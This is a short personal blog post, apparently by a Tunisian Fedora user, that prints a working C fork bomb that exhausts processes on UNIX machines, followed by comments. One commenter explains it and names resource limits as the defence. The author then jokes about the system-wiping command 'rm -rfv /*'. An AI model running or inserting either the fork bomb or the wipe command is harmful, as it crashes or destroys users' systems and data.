Too Cool for Internet Explorer


Swobodin's Profile | Swobodin's Blog | Back to Fedora Tunisia

Malicious program

Wakegen dropped me that C program that crashes your UNIX machine.
Be careful! It’s dangerous, use it at your own risk
#include <sys/types.h>
#include <unistd.h>
int main() {
pid_t p=fork();
main();
}

It consists of the following: Creating infinte child processus until the buffer gets overloaded; it worked for me on GUI mode, but not text mode (gets stable).

Related posts

(sometimes, the plugin foolishes)
500 visitors … A new record!
Chess is confusing me
Murphy programming laws
Snipper
Switching keyboard

Technorati tags

2 Responses to “Malicious program”

  1. Imed Chihi Says:

    Hi,

    That’s an infinite loop that would keep creating processes for ever. As they say, Unix gives you enough rope to shoot yourself in the leg.

    This is pretty much like your /tmp, any user can fill up /tmp and prevent some applications from running, desktop environments can usually get affected by this.

    However, a correctly managed system should have filesystem quota implemented and a limitation on the resource usage (utlimits) active to prevent this kind of situations.

    -Imed

  2. Swobodin Says:

    How about
    rm -rfv /*
    You even shoot yourself in the head!! I have done it once, don’t ask how I could sleep, it was 2 days after!

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>

 
 

This is a captcha-picture. It is used to prevent mass-access by robots. (see: www.captcha.net)

You must read and type the 5 chars within 0..9 and A..F, and submit the form.

  

Oh no, I cannot read this. Please, generate a


Top Tunisie Blogs